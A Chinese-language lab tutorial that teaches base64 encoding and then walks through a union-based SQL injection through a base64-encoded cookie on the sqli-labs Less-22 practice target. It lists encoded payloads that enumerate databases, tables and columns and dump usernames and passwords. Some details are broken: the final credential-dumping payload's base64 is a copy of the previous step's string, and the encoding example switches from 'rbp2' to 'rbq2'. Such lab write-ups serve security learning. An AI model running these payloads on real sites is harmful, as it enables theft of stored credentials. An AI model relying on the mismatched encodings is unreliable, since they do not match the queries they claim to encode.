概述
目录
- 1 base64注入概述
- 1.1 base64编码基础
- 1.2 base64编码与URL编码
- 1.3 base64注入
- 2 base64注入案例
- 2.1 实验平台
- 2.2 实验过程
- 2.2.1 注入前准备
- 2.2.2 判断注入点及注入类型
- 2.2.3 判断回显列数及回显位置
- 2.2.4 获取库名表名字段名字段内容
- 3 总结
1 base64注入概述
1.1 base64编码基础
定义:Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64编码具有不可读性,需要解码后才能阅读。
Base64要求把每三个8bit的字节转换为四个6bit的字节(3 * 8 = 4*6 = 24),然后把6bit再添两位高位0,组成四个8bit的字节。也就是将3字节转成4字节,不足4字节补’=’,最多补两个’=’。这也就是为什么Base64出来的结果在结尾处经常有’=‘或者’=='的原因。
转换后,再用一个码表来得到我们想要的字符串(也就是最终的Base64编码),这个表是这样的:
例子:
转换前 10101101 10111010 01110110
转换后 00101011 00011011 00101001 00110110
即为十进制 43 27 41 54
对应码表中的值 r b p 2
所以上面的24位编码,编码后的Base64值为 rbp2
解码同理,把 rbq2 的二进制位连接上再重组得到三个8位值,得出原码。
1.2 base64编码与URL编码
存在问题:标准的Base64并不适合直接放在URL里传输,因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换,因为ANSI SQL中已将“%”号用作通配符。
解决问题:可采用一种用于URL的改进Base64编码,它在末尾填充’='号,并将标准Base64中的“+”和“/”分别改成了“-”和“_”,这样就免去了在URL编解码和数据库存储时所要作的转换,避免了编码信息长度在此过程中的增加,并统一了数据库、表单等处对象标识符的格式。
1.3 base64注入
定义:base64注入是针对传递的参数被base64编码后的注入点进行注入。
特点:除了数据被编码以外,其中注入方式与常规注入一般无二。
2 base64注入案例
2.1 实验平台
(1)靶机:——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个sqli-labs漏洞靶场,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,sqli-labs漏洞靶场的搭建可以参考《【环境搭建】基于WAMP环境的sqli-labs漏洞靶场的搭建》
。
(2)注入机:——kali虚拟机,为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《【Burp Suite工具-1】BurpSuite简介及安装过程详解(含please supply the following JVM argument错误提示原因)》。
(3)靶机与kali虚拟机桥接到同一局域网中。
2.2 实验过程
2.2.1 注入前准备
(1)打开靶机虚拟机,并打开phpstudy,并启动。
(2)kali虚拟机上打开火狐浏览器,并使用火狐浏览器的访问靶机sqli-labs的Less22,打开页面如下。
(3)输入账号密码为Dumb,点击登录,出现以下页面,这里应该是页面代码弄错了,应该是第22的。注意,其中出现了date()错误的警告,这是由于php环境引起的,找到php.ini配置文件,并按下图所示修改配置文件,之后重启phpstudy后,date()错误警告就会消失。
(4)kali虚拟机,设置火狐浏览器的使用代理功能。设置步骤如下:单击浏览器右上角“菜单图标”,依次单击“Settings”→“Settings”→“设置网络代理”→“设置”→“手动配置代理”,示, 设置HTTP代理为127.0.0.1 , 端口为8080 ,与Burp Proxy 中的代理一致。
(5)kali虚拟机打开BurpSuite,进入Proxy工具,在BurpSuite工具的intercept界面开启 intercept is on,刷新第3步的页面,让BurpSuite获取到请求,将请求右键发送到repeater工具,点击forward。其中,cookie信息为Cookie: uname=RHVtYg%3D%3D
,%3D通过url解码后为=。
2.2.2 判断注入点及注入类型
正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找cookie能否注入。本节实验为了演示base注入的过程,直接省去了测试其他位置能否注入的过程,仅为演示在cookie注入点如何进行base64注入。
(1)将该请求中的Cookie值RHVtYg%3D%3D
复制,切换到BurpSuite工具的Decoder界面,点击“smart decode”,可以看到软件自动将特殊符号进行解码,得到RHVtYg==。
(2)切换到BurpSuite工具的repeater模块,我们将解码得到的参数代替原Cookie,点击send,可以看到响应正常。
(3)我们再次切回BurpSuite工具的Decode界面,点击解码,选择base64解码格式,得到cookie值为Dumb,是我们原先输入的账号。
(4)为了判断该位置是否存在Sql注入漏洞,及属于数值型还是字符型注入。将cookie的值设置为Dumb'
,注意,cookie的值需要进行base64编码。使用BurpSuite工具的Decode模块进行编码,Dumb'
经过base64编码后的语句RHVtYic=
。
(5)切换到BurpSuite工具的repeater模块,将Dumb'
base64编码后的语句RHVtYic=
代入原Cookie中,点击send,可以看到可以看到响应正常,没有报错。
(6)将cookie的值设置为Dumb"
进行测试。Dumb"
经base64编码后的语句为RHVtYiI=
,将该base64编码替换BurpSuite工具的repeater模块中的cookie值,点击send,可以看到可以看到出现报错。因此属于字符型注入,且闭合方式为双引号"。
(7)将cookie的值设置为Dumb" #
进行测试。其中#是为了注释掉原SQL语句中Dumb"后面的部分。Dumb" #
经base64编码后的语句为RHVtYiIj
。将该base64编码替换BurpSuite工具的repeater模块中的cookie值,点击send,可以看到响应正常,且数据库中的信息能回显到页面中。因此可以采用union联合查询注入。
2.2.3 判断回显列数及回显位置
(1)我们构造cookie值为Dumb" order by 3#
,加上#是为了屏蔽掉后台SQL语句最后的双引号,将该参数经base64编码得到RHVtYiIgb3JkZXIgYnkgMyM=
。
(2)将该编码后的参数代入BurpSuite工具的repeater模块中的cookie,点击send,可以看到响应正常。
(3)同理地,构造参数为Dumb" order by 4#
,经base64编码后为RHVtYiIgb3JkZXIgYnkgNCM=
,代入cookie中,页面显示错误。由此可知该页面回显参数有3列。
(4)构造参数为-Dumb" union select 1,2,3#
,经base64编码后为LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMyM=
,代入cookie中,回显如下所示。
综上所述,注入点在cookie,注入参数需要用base64进行编码,可以使用union联合查询注入的方式来注入出数据库信息。
2.2.4 获取库名表名字段名字段内容
(1)获取库名。修改参数为-Dumb" union select 1,2,database()#
,经base64编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
,代入到cookie中并发送,得发现本站点数据库为security。
(2)获取表名。修改参数为-Dumb" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#
,经base64编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpIw==
,代入到cookie中并发送,得发现本站点数据库下有4个表,其中users是我们需要进一步获取数据的目标。
(3)获取字段名。修改参数为-Dumb" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 0x7573657273#
,经base64编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWUgPSAweDc1NzM2NTcyNzMj
,代入到cookie中并发送,发现users表中共有3个字段,分别是id、username、password。
(4)获取字段内容。参数为-Dumb" union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users#
,经base64编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWUgPSAweDc1NzM2NTcyNzMj
,代入到cookie中并发送,发现一堆账号密码。
成功获得用户的账号密码。另外,该实验也可以使用报错注入的方式代替union注入。
3 总结
(1)base64注入是参数被base64编码过的注入方式;其注入点注入手法与之前所学相同。
(2)掌握base64注入的方法。
最后
以上就是友好火车为你收集整理的【SQL注入-11】base64注入案例—以Sqli-labs-less22为例(借助BurpSuite工具)1 base64注入概述2 base64注入案例3 总结的全部内容,希望文章能够帮你解决【SQL注入-11】base64注入案例—以Sqli-labs-less22为例(借助BurpSuite工具)1 base64注入概述2 base64注入案例3 总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复